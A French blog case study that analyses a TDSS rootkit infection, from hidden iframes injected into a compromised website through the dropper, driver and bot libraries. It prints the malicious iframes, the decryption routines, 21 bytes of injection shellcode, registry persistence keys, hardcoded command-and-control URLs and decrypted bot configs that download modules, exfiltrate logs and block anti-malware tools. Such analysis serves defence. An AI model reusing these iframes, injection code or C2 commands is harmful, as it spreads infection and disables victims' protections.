Etude de cas - Infection rootkit TDSS

Compromission d'un site internet légitime à forte affluence.
Type: Injection de la page d'accueil après la balise </HTML>.

Avant de commencer quelques définitions.

Mal/TDSS-A (Sophos)
is a program which exhibits characteristics unique to malware that typically drop a rootkit driver in <System>\drivers\tdss<letters>.sys
Source: Sophos

Backdoor:W32/TDSS (F-Secure)
Remote administration utility which bypasses normal security mechanisms to secretly control a program, computer or network
Source: f-secure


Image: Site

[!] LE SITE EST TOUJOURS COMPROMIS / WEBSITE IS ALWAYS COMPROMISED [!]

iframe malicieuses
<iframe src="http://edcomparison.com/mito/?t=2" width=0 height=0
style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
<iframe src="http://qwehost.com/count.php?o=2" width=0 height=0
style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Historique des premières requêtes effectuées par le navigateur:

Requête #1
Version: HTTP/1.1
    Méthode: GET
    URL: /mito/?t=2
    Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjp
    Referer: http://www.nwiizone.com/
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0)
    Hôte: edcomparison.com
    Connection: Keep-Alive
Version: HTTP/1.1
    Réponse: 302
    Server: Apache/2
    Location: http://202.73.57.6/mito/?t=2
    Content-Length: 275
    Keep-Alive: timeout=1, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1

Puis 3 requêtes consécutives qui ne sont valides que pour une visite/session (traçage IP).:
URL: /mito/?fixed_length_73_hexadecimal_characters
URL: /mito/?fixed_length_73_hexadecimal_characters
URL: /mito/?fixed_length_73_hexadecimal_characters

Vous rencontrez une première page offusquée qui semble être importante vu la taille occupé par le code. Une technique simple afin de dé-offusquer le code javascript va consister à remplacer la fonction eval(A); Dans ce cas précis, un document.write(A); va permettre d'afficher le code en clair directement sur la page du navigateur. Il existe des outils spécifiques pour ces opérations, on pourrait par exemple citer Malzilla codé par notre ami Bobby. Petite parenthèse pour vous présenter le projet MINA qui nécessite les outils de debboguage de Microsoft ; un outil qui peut s'avérer intéressant ; fin de parenthèse.

Une fois le javascript lisible, le mot RSA devrait suffir pour que vous constatiez que nous sommes en présence d'éléments de crypto. Nous n'allons pas rentrer dans les détails mais concrètement la variable 'nextkey' de ce script sera utilisée dans les pages à venir afin de décrypter grâce à une fonction de décryptage RC4 les variables nommées 'k' qui représentent des blocs de données qui sont quant à eux encodés en Base64.

La dernière requête télécharge un fichier flash. Si vous souhaitez analyser n'importe quel fichier flash, vous devrez généralement utiliser des outils. Dans cette étude de cas l'outil utilisé à été flasm linux (pour Windows) ; La commande -x vous permettra de décompresser le SWF ensuite vous pouvez soit désassembler à l'aide de la commande -d ou bien utiliser d'autres outils. A noter que pour ceux qui n'y arriveraient pas, rien ne vous empêche d'utiliser un service en ligne d'analyse de fichiers flash. Une fois désassemblé, nous obtenons l'adresse de téléchargement de la charge utile (payload) qui est: http://202.73.57.6/mito/?h=2e

Enfin, une requête contenant le champs d'en-tête 'Referer' sera envoyée aux pirates (QWEHOST.COM) leur indiquant que "le cycle d'infection" s'est terminé avec succès.

##>Le dropper

Premier constat, il ne fonctionne pas sur ThreatExpert ; c'est probablement dû au packer. Il est important de s'attarder quelques instants sur ce point car nous allons le retrouver sous des formes diverses à peu près sur tous les fichiers.

Support vidéo: [ How to unpack the binary ]
Précision: VirtualAlloc réserve une région dans l'espace d'adressage du processus appelant. En audio, il est dit: "VirtualAlloc  sert à allouer du code", c'est vis à vis du contexte. Vidéo enregistrée le lendemain du 1 janvier, soyez indulgent :]=~


##> Procédure de générations des noms de fichiers temporaires.
Dans un premier temps, kernel32.GetTempPathA est utilisé pour obtenir %tmp%
La chaîne de caractères "TDSS" sera utilisée à chaque nouveaux noms de fichiers.
La fonction kernel32.GetTickCount sera utilisée pour générer un chiffre aléatoire.
Le formatage du nom de fichier est "%s%s%x.tmp", il s'agit d'une concaténation.
Une fois généré, la fonction kernel32.GetFileAttributes vérifie si le fichier existe déjà.
Si le fichier n'existe pas, il est alors créé avec la fonction kernel32.CreateFileA

[!] Le repérage des fonctions est utile dans vos analyses.
Grâce à la documentation MSDN appropriée, il est possible de recréer "a peu près" le code.

CODE:
CreateFile("%TMP%\TDSS0.tmp", 0x1201BF, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NORMAL, NULL)


##> Procédure de décryptage de section.

1. Récupère l'e_lfanew du DOS Header
MOVZX ECX,WORD PTR DS:[EAX+14]
2. Lecture du nom de la section.
LEA EDX,DWORD PTR DS:[ECX+EAX+18]
3. Récupère SizeOfOptionalHeader du File Header
MOVZX EAX,WORD PTR DS:[EAX+6]
4. Parcours de toutes les sections à la recherche de celle nommée ".tdl"
Une fois trouvé, extrait ses caractéristiques.
L'offset -> le registre ESI prends pour valeur 0x4000
La taille -> le registre EAX prends pour valeur 0x19000
Enfin, ajoute l'ImageBase sur la valeur du registre ESI soit 0x404000 (RVA).

Puis appel la routine de décryptage (offset: 0x004011A5).

DECRYPT
  XOR ECX,ECX
  CMP DWORD PTR SS:[ESP+4],ECX
  JBE @FIN
@DECRYPT:
  MOV DL,CL
  ADD DL,54
  XOR BYTE PTR DS:[ECX+EAX],DL
  INC ECX
  CMP ECX,DWORD PTR SS:[ESP+4]
  JB @DECRYPT
@FIN:
  RET 4

Pour simplifier, ça vous donne un decrypt(byte^0x54+cpt)
Exemple:
0x19^0x54=0x4D
0x0F^(0x54+1)=0x5A

etc...
Crypté
00404000  19 0F C6 57 5B 59 5A 5B 58 5D 5E 5F 9F 9E 62 63  ...W[YZ[X]^_..bc
00404010  DC 65 66 67 68 69 6A 6B 2C 6D 6E 6F 70 71 72 73  .efghijk,mnopqrs
00404020  74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80 81 82 83  tuvwxyz{|}~.....

Décrypté
00404000  4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ..............
00404010  B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
00404020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Vérifie la présence des 4 sections du PE décrypté (00401290)
Le contenu de ".tdl" décrypté est écrit dans le fichier avec kernel32.WriteFile

##> Utilisation (non détaillée) de ntdll.ZwCreateSection

##> Copie d'advapi32.dll
Réalise une copie de "%windir%\system32\advapi32.dll" en "%tmp%\TDSS%s.tmp"

##> Utilisation (non détaillée) de ntdll.ZwCreateEvent ("\TDKD")
Objets Win32

##> L'injection
La copie de librairie "advapi32.dll" est patchée.
Les 21 bytes suivants sont alors injectés à l'OEP:

68BC6C917CE800000000832C240AB8771D807CFFE0

77DA70D4: 68BC6C917C               PUSH 7C916CBC
77DA70D9: E800000000               CALL 77DA70DE
77DA70DE: 832C240A                 SUB [ESP], 0000000A
77DA70E2: B8771D807C               MOV EAX, 7C801D77
77DA70E7: FFE0                     JMP EAX

Chargera "dll.dll", qui au final, correspond à notre section ".tdl" décryptée.

##> Service "MSIServer" via les API d'advapi32.
- OpenSCManagerA
- OpenServiceA
- ControlService
- StartServiceA

Lance le service "MSIServer" qui correspond à "Windows Installer"
L'exécution du processus "msiexec.exe" va entraîner le chargement d'advapi32.
L'utilisation du Flags "DONT_RESOLVE_DLL_REFERENCES" entraîne le chargement
de la mauvaise librairie, la précédemment patchée. ("\knowndlls\advapi32.dll")
Qui a son tour va, grâce à l'injection, charge "dll.dll" (qui en réalité, n'existe pas).

Modules chargés

Une fois le processus en mémoire, le fichier patché dans %tmp% est effacé.
Quant au dropper source, son déplacement est forcé dans %tmp% puis effacé.
nb: La machine est à ce moment précis infectée et rootkitée.

Rapport
---- Threads - GMER 1.0.14 ----
Thread   4:616                                            F618EE57
---- Services - GMER 1.0.14 ----
Service  system32\drivers\TDSSvoqm.sys (*** hidden *** )  [SYSTEM] TDSSserv.sys     <-- ROOTKIT !!!
---- EOF - GMER 1.0.14 ----


##> Unpacking de la lib "dll.dll"

Trouver l'OEP n'est pas bien compliqué, toute la difficulté va être
de fixer la table des imports avant le déchargement en mémoire.
Offset: 0x10001571 PUSH EBP ; <--[OEP]
Dumper en vérifiant la présence de toutes les sections.
Reconstruction de la table avec la fonctionnalité "Pick DLL".
Sélection de "dll.dll" en mémoire + modification manuelle de l'OEP.
Get & Dump ; puis testez votre lib via votre dbg.

nb: Veillez à bien config les options de votre dbg au préalable.

[!] Nous avons un petit piège à déjouer si on ne souhaite pas être éjecté pendant l'analyse.
Il s'agit d'un ntdll._strcmpi qui vérifie que l'injection a bien été réalisée avec "msiexec.exe".
Et oui... nous sommes en cours de débogage donc nous avons le chargeur de librairies du déboguer.
Il faudra par conséquent feinter le TEST EAX, EAX au moment de la vérification.

##> Driver TDSSserv
La routine de décryptage de la section est la même.
La seule différence réside dans les premiers bytes.
Ils fournissent des informations sur la build.
10004000  36 32 3B 76 33 30 30 3B 73 74 61 6E 64 61 72 74  62;v300;standart
10004010  3B 63 6C 69 63 6B 65 72 3B 2D 77 61 3B 00 4D 5A  ;clicker;-wa;.MZ

La chaîne "62;v300;standart;clicker;-wa;" est alors scindée.
Le filtre utilisé étant: "%[^;];%[^;];%[^;];%[^;];"

Ces infos seront écrites dans la base de registre:
[HKEY_LOCAL_MACHINE\SOFTWARE\TDSS]
versions
"build"="standart"
"type"="clicker"
"affid"="62"
"subid"="v300"
"serversdown"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\TDSS\versions]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\tdssdata]
"affid"="62"
"subid"="v300"

Le driver est ensuite créé puis écrit à l'emplacement:
"\\?\globalroot\systemroot\system32\drivers\TDSSserv.sys"

A cet instant, pour résumer, le service est créé.
* [ntdll.RtlCreateRegistryKey] (non détaillée)
* [ntdll.RtlWriteRegistryValue] (non détaillée)


[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TDSSserv.sys]
"imagepath"="\systemroot\system32\drivers\TDSSserv.sys"
"start"=dword:00000001
"type"=dword:00000001

* [ntdll.RtlCreateRegistryKey] (non détaillée)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_TDSSSERV.SYS\0000]
"Service"="TDSSserv.sys"
"Legacy"=dword:00000001
"ConfigFlags"=dword:00000000
"Class"="LegacyDriver"
"ClassGUID"="{8ECC055D-047F-11D1-A537-0000F8753ED1}"
"DeviceDesc"="TDSSserv.sys"
"Capabilities"=dword:00000000

Et enfin, (RtlAdjustPrivilege+NtLoadDriver) le driver est chargé.

##> La librairie droppée par le driver dans "%windir%\system32\"
Comme à chaque fois, la librairie est encore packée.
La bibliothèque principale se nomme initialement: "tdll.dll"
Voici ses fonctions:
--> 0x0001  0x00002541 "CheckValue"
--> 0x0002  0x00003176 "CmdExec"
--> 0x0003  0x00003711 "CmdExecAffID"
--> 0x0004  0x000037E0 "CmdExecBotID"
--> 0x0005  0x0000379B "CmdExecBuild"
--> 0x0006  0x000036CC "CmdExecSubID"
--> 0x0007  0x00003756 "CmdExecType"
--> 0x0008  0x0000359F "CmdExecVersion"
--> 0x0009  0x000024A5 "CopyAffID"
--> 0x000A  0x00002462 "CopySubID"
--> 0x000B  0x00002713 "CryptKeySet"
--> 0x000C  0x000030BA "FileDownload"
--> 0x000D  0x00003121 "FileDownloadRandom"
--> 0x000E  0x000030CF "FileDownloadRandomUnxor"
--> 0x000F  0x00003094 "FileDownloadUnxor"
--> 0x0010  0x0000291E "ImpersonateAsInput"
--> 0x0011  0x00002CC6 "Knock"
--> 0x0012  0x00003030 "ModuleDownload"
--> 0x0013  0x00002FBF "ModuleDownloadUnxor"
--> 0x0014  0x00002AA9 "ModuleLoad"
--> 0x0015  0x00002A43 "ModuleUnload"
--> 0x0016  0x00003165 "ModulesVersionLog"
--> 0x0017  0x00002601 "SetCmdDelay"
--> 0x0018  0x000024E8 "SetInputDesktop"
--> 0x0019  0x00002884 "SetLoadedURL"
--> 0x001A  0x00002750 "SetTimeout"

Les urls sont harcodées et sélectionnées aléatoirement.
Liste des urls disponibles pour le fichier "main" crypté:
URL
-> "http://findxproportal1.com/tdss2/crcmds/main"
-> "http://stableclickz1.com/tdss2/crcmds/main"
-> "http://updatemics1.com/tdss2/crcmds/main"
-> "http://findsproportal1.com/tdss2/crcmds/main"
-> "http://findzproportal1.com/tdss2/crcmds/main"
-> "http://91.203.92.121/tdss2/crcmds/main"
-> "http://younewsblog.net/tdss/crcmds/main"
-> "http://yournewsblog.net/tdss/crcmds/main"
-> "http://yourblognews.net/tdss/crcmds/main"
-> "http://youblognews.net/tdss/crcmds/main"
-> "http://web1inst.com/tdss/crcmds/main"
-> "http://web2inst.com/tdss/crcmds/main"
-> "http://web3inst.com/tdss/crcmds/main"
-> "http://web4inst.com/tdss/crcmds/main"


Ci-dessous, la routine de décryptage:

DECRYPT
XOR ECX,ECX
  CMP DWORD PTR SS:[ESP+4],ECX
  JBE @FIN
@DECRYPT:
  MOV DL,CL
  ADD DL,BYTE PTR SS:[ESP+8]
  XOR BYTE PTR DS:[ECX+EAX],DL
  INC ECX
  CMP ECX,DWORD PTR SS:[ESP+4]
  JB @DECRYPT
@FIN:
  RET 8

[!] Il est important de savoir placer des points d'arrêts stratégiques.
BPX sur RET à l'offset 0x10001407 permet d'obtenir chaque fichier temporaire decrypté.
BPX sur CALL [ARG.4] en 0x100016E4 permet d'intercepter toutes les fonctions de la lib.

Pendant l'analyse, il y a eu plusieurs versions du "main".
Ce fichier "main" une fois téléchargé puis décrypté contient des ordres.

main
003A0000  74 64 73 73 6C 2E 46 69 6C 65 44 6F 77 6E 6C 6F  tdssl.FileDownlo
003A0010  61 64 52 61 6E 64 6F 6D 28 22 68 74 74 70 3A 2F  adRandom("http:/
003A0020  2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E 65  /yournewsblog.ne
003A0030  74 2F 74 64 73 73 2F 74 64 73 73 73 65 72 76 65  t/tdss/tdssserve
003A0040  72 73 63 72 2E 64 61 74 22 2C 22 5C 5C 3F 5C 67  rscr.dat","\\?\g
003A0050  6C 6F 62 61 6C 72 6F 6F 74 5C 73 79 73 74 65 6D  lobalroot\system
003A0060  72 6F 6F 74 5C 73 79 73 74 65 6D 33 32 5C 74 64  root\system32\td
003A0070  73 73 73 65 72 76 65 72 73 2E 64 61 74 22 29 0D  ssservers.dat").
003A0080  0A 74 64 73 73 6C 2E 43 6D 64 45 78 65 63 28 22  .tdssl.CmdExec("
003A0090  68 74 74 70 3A 2F 2F 79 6F 75 72 6E 65 77 73 62  http://yournewsb
003A00A0  6C 6F 67 2E 6E 65 74 2F 74 64 73 73 2F 63 72 63  log.net/tdss/crc
003A00B0  6D 64 73 2F 75 70 64 61 74 65 22 29 0D 0A 74 64  mds/update")..td
003A00C0  73 73 6D 61 69 6E 2E 43 6F 6E 6E 65 63 74 69 6F  ssmain.Connectio
003A00D0  6E 48 69 64 64 65 6E 41 64 64 28 22 79 6F 75 72  nHiddenAdd("your
003A00E0  6E 65 77 73 62 6C 6F 67 2E 6E 65 74 22 29 0D 0A  newsblog.net")..
003A00F0  74 64 73 73 6D 61 69 6E 2E 49 6E 6A 65 63 74 6F  tdssmain.Injecto
003A0100  72 41 64 64 28 22 2A 22 2C 22 74 64 73 73 61 64  rAdd("*","tdssad
003A0110  77 22 29 0D 0A 74 64 73 73 6C 2E 43 6D 64 45 78  w")..tdssl.CmdEx
003A0120  65 63 42 75 69 6C 64 28 22 68 74 74 70 3A 2F 2F  ecBuild("http://
003A0130  79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E 65 74  yournewsblog.net
003A0140  2F 74 64 73 73 2F 63 72 63 6D 64 73 2F 62 75 69  /tdss/crcmds/bui
003A0150  6C 64 73 22 29 0D 0A 74 64 73 73 6C 2E 43 6D 64  lds")..tdssl.Cmd
003A0160  45 78 65 63 54 79 70 65 28 22 68 74 74 70 3A 2F  ExecType("http:/
003A0170  2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E 65  /yournewsblog.ne
003A0180  74 2F 74 64 73 73 2F 63 72 63 6D 64 73 2F 74 79  t/tdss/crcmds/ty
003A0190  70 65 73 22 29 0D 0A 74 64 73 73 6C 2E 43 6D 64  pes")..tdssl.Cmd
003A01A0  45 78 65 63 41 66 66 49 44 28 22 68 74 74 70 3A  ExecAffID("http:
003A01B0  2F 2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67 2E 6E  //yournewsblog.n
003A01C0  65 74 2F 74 64 73 73 2F 63 72 63 6D 64 73 2F 61  et/tdss/crcmds/a
003A01D0  66 66 69 64 73 22 29 0D 0A 74 64 73 73 6C 2E 43  ffids")..tdssl.C
003A01E0  6D 64 45 78 65 63 53 75 62 49 44 28 22 68 74 74  mdExecSubID("htt
003A01F0  70 3A 2F 2F 79 6F 75 72 6E 65 77 73 62 6C 6F 67  p://yournewsblog
003A0200  2E 6E 65 74 2F 74 64 73 73 2F 63 72 63 6D 64 73  .net/tdss/crcmds
003A0210  2F 73 75 62 69 64 73 22 29 00 00 00 00 00 00 00  /subids").......

Les ordres sont séparés par le filtre: "%[^.].%[^(](%[^)])"

Exemples:
Ordre: "FileDownloadRandom"
Cible: "http://yournewsblog.net/tdss/tdssserverscr.dat"

Autre exemple avec "tdssserverscr.dat" décrypté.
-------------------------------------------------

tdssserverscr
tdssl.SetCmdDelay(86400)
tdssl.CmdExecVersion("http://yourblognews.net/tdss/crcmds/init","2.2")
tdssl.ModuleLoad("tdssadw")
#tdssl.ModuleLoad("tdssserf")
#tdssl.ModuleLoad("tdssserf1")
tdssl.ModuleLoad("tdsspopup")
tdll.CheckValue("\registry\machine\software\microsoft\windows nt\currentversion\tdssdata","subid")
tdll.CheckValue("\registry\machine\software\microsoft\windows nt\currentversion\tdssdata","affid")
tdsslog.LogSendEx("tdsserrors.log","http://findzproportal1.com/botmon/readdata/error/")
tdssmain.ProcessList()
tdsslog.LogSendEx("tdssproc.log","http://findzproportal1.com/botmon/readdata/proc/")
tdsslog.LogSendEx("tdssurls.log","http://findzproportal1.com/botmon/readdata/urls/")
tdsslog.LogOS("http://findzproportal1.com/botmon/readdata/bot/")
tdssmain.DisallowedAdd("trsetup.exe")
tdssmain.DisallowedAdd("ViewpointService.exe")
tdssmain.DisallowedAdd("ViewMgr.exe")
tdssmain.DisallowedAdd("SpySweeper.exe")
tdssmain.DisallowedAdd("SUPERAntiSpyware.exe")
tdssmain.DisallowedAdd("SpySub.exe")
tdssmain.DisallowedAdd("SpywareTerminatorShield.exe")
tdssmain.DisallowedAdd("SpyHunter3.exe")
tdssmain.DisallowedAdd("XoftSpy.exe")
tdssmain.DisallowedAdd("SpyEraser.exe")
tdssmain.DisallowedAdd("SPYSWEEPER.exe")
tdssmain.DisallowedAdd("combofix.exe")
tdssmain.DisallowedAdd("otscanit.exe")
tdssmain.DisallowedAdd("mbam.exe")
tdssmain.DisallowedAdd("mbam-setup.exe")
tdssmain.DisallowedAdd("flash_disinfector.exe")
tdssmain.DisallowedAdd("otmoveit2.exe")
tdssmain.DisallowedAdd("smitfraudfix.exe")
tdssmain.DisallowedAdd("prevxcsifree.exe")
tdssmain.DisallowedAdd("download_mbam-setup.exe")
tdssmain.DisallowedAdd("cbo_setup.exe")
tdssmain.DisallowedAdd("spywareblastersetup.exe")
tdssmain.DisallowedAdd("rminstall.exe")
tdssmain.DisallowedAdd("sdsetup.exe")
tdssmain.DisallowedAdd("vundofixsvc.exe")
tdssmain.DisallowedAdd("daft.exe")
tdssmain.DisallowedAdd("gmer.exe")
tdssmain.DisallowedAdd("catchme.exe")
tdssmain.DisallowedAdd("mcpr.exe")
tdssmain.DisallowedAdd("sdfix.exe")
tdssmain.DisallowedAdd("hjtinstall.exe")
tdssmain.DisallowedAdd("fixpolicies.exe")
tdssmain.DisallowedAdd("emergencyutil.exe")
tdssmain.DisallowedAdd("techweb.exe")
tdssmain.DisallowedAdd("emergencyutil.exe")
tdssmain.DisallowedAdd("GoogleUpdate.exe")
tdssmain.DisallowedAdd("windowsdefender.exe")
tdssmain.DisallowedAdd("spybotsd.exe")


L'avantage pour les pirates, c'est qu'ils ont un contrôl plutôt correct des machines.
Si un programme devient gênant, il pourra être interdit dans la prochaine config.

Voici d'autres exemples de configurations.
tdssl.FileDownloadRandom("http://web3inst.com/tdss/tdssserverscr.dat","\\?\globalroot\systemroot\system32\tdssservers.dat")
tdssl.CmdExec("http://web3inst.com/tdss/crcmds/update")
tdssmain.ConnectionHiddenAdd("web3inst.com")
tdssmain.InjectorAdd("*","tdssadw")
tdssl.CmdExecBuild("http://web3inst.com/tdss/crcmds/builds")
tdssl.CmdExecType("http://web3inst.com/tdss/crcmds/types")
tdssl.CmdExecAffID("http://web3inst.com/tdss/crcmds/affids")
tdssl.CmdExecSubID("http://web3inst.com/tdss/crcmds/subids")


Et enfin, télécharge les autres bibliothèques TDSS*.dll

tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssserv","\\?\globalroot\systemroot\system32\drivers\tdssserv.sys")
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssl","\\?\globalroot\systemroot\system32\tdssl.dll")
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssmain","\\?\globalroot\systemroot\system32\tdssmain.dll")
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdsslog","\\?\globalroot\systemroot\system32\tdsslog.dll")
tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssadw","\\?\globalroot\systemroot\system32\tdssadw.dll")
#tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssserf","\\?\globalroot\systemroot\system32\tdssserf.dll")
#tdssl.ModuleDownloadUnxor("http://web3inst.com/tdss/crfiles/tdssserf1","\\?\globalroot\systemroot\system32\tdssserf1.dll")



Récapitulatif simplifié de la méthodologie.

-> Le dropper "mito.exe":
--> Créer des fichiers "%tmp%\TDSS*.*"
--> Décrypte la librairie ("%tmp%\dll.dll")
--> Réalise une copie de "%windir%\system32\advapi32.dll" dans %tmp%
--> Patch la copie d'advapi32.dll puis lance le service "MSIServer"
--> Entraîne le passage en mémoire de la copie patchée d'advapi32.dll
--> Qui a son tour entraîne le chargement de "%tmp%\dll.dll"

----> La librairie "dll.dll":
-----> Décrypte le drivers "%windir%\system32\drivers\TDSSserv.sys"
-----> Extrait & stock les infos "client" dans la base de registre.
-----> Créer le service "TDSSserv.sys" & charge le pilote.

--------> Le driver "TDSSserv.sys"":
---------> Les fonctionnalités de rootkit (non détaillées) sont actives:
---------> (Exemple: les fichiers TDSS* sont alors masqués, etc...)
---------> Dépose la librairie "tdll.dll" dans "%windir%\system32\"

-----------> La librairie "tdll.dll":
------------> Télécharge un fichier de config principal parmis des urls embarquées.
------------> Décrypte les fichiers téléchargés.
------------> Effectue tous les ordres indiqués.

Ci-dessous, la correspondance des librairies téléchargées:

[+] tdssadw.dll (Nom original: "adw_dll1.dll")
-- fonction: "Update"


[+] tdsslog.dll (Nom original: "tdllog.dll")
- Version: 1.0.0.126
-- fonction: "LogOS"
-- fonction: "LogSend"
-- fonction: "LogSendEx"
-- fonction: "Update"

[+] tdssmain.dll (Nom original: "tdlmain.dll")
- Version: 1.0.0.114
-- fonction: "ConnectionHiddenAdd"
-- fonction: "DisallowedAdd"
-- fonction: "Exec"
-- fonction: "InjectorAdd"
-- fonction: "ProcessKill"
-- fonction: "ProcessList"
-- fonction: "ProcessTrustedAdd"
-- fonction: "RegistryHiddenAdd"
-- fonction: "Update"


[+] tdssl.dll (Nom original: "tdll.dll")
- Version: 1.0.0.1080
-- fonction: "CheckValue"
-- fonction: "CmdExec"
-- fonction: "CmdExecAffID"
-- fonction: "CmdExecBotID"
-- fonction: "CmdExecBuild"
-- fonction: "CmdExecSubID"
-- fonction: "CmdExecType"
-- fonction: "CmdExecVersion"
-- fonction: "CopyAffID"
-- fonction: "CopySubID"
-- fonction: "CryptKeySet"
-- fonction: "FileDownload"
-- fonction: "FileDownloadRandom"
-- fonction: "FileDownloadRandomUnxor"
-- fonction: "FileDownloadUnxor"
-- fonction: "ImpersonateAsInput"
-- fonction: "Knock"
-- fonction: "ModuleDownload"
-- fonction: "ModuleDownloadUnxor"
-- fonction: "ModuleLoad"
-- fonction: "ModuleUnload"
-- fonction: "ModulesVersionLog"
-- fonction: "SetCmdDelay"
-- fonction: "SetInputDesktop"
-- fonction: "SetLoadedURL"
-- fonction: "SetTimeout"

 Ce billet touche à sa fin, je pourrais pourtant continuer quelques temps sur le sujet mais mon objectif qui consistait à démystifier des points précis est terminé.

Liens connexes:
Embassy of India in Spain Serving Malware ( January 27, 2009 - Dancho Danchev )
India's embassy in Spain victim of a malicious attack ( January 28, 2009 - Paul O Baccas )
Embassy Site Attack Reveals Other Compromised Sites ( January 29, 2009 - JM Hipolito )

Rétroliens

    Pas de rétroliens

Commentaires

Afficher les commentaires en (Vue non groupée | Vue groupée)

    Pas de commentaires


Ajouter un commentaire



Pour éviter le spam par des robits automatisés (spambots), merci d'entrer les caractères que vous voyez dans l'image ci-dessous dans le champ de fomulaire prévu à cet effet. Assurez-vous que votre navigateur gère et accepte les cookies, sinon votre commentaire ne pourra pas être enregistré.
CAPTCHA

 
Les commentaires postés doivent être approuvés avant d'être affichés dans le blog.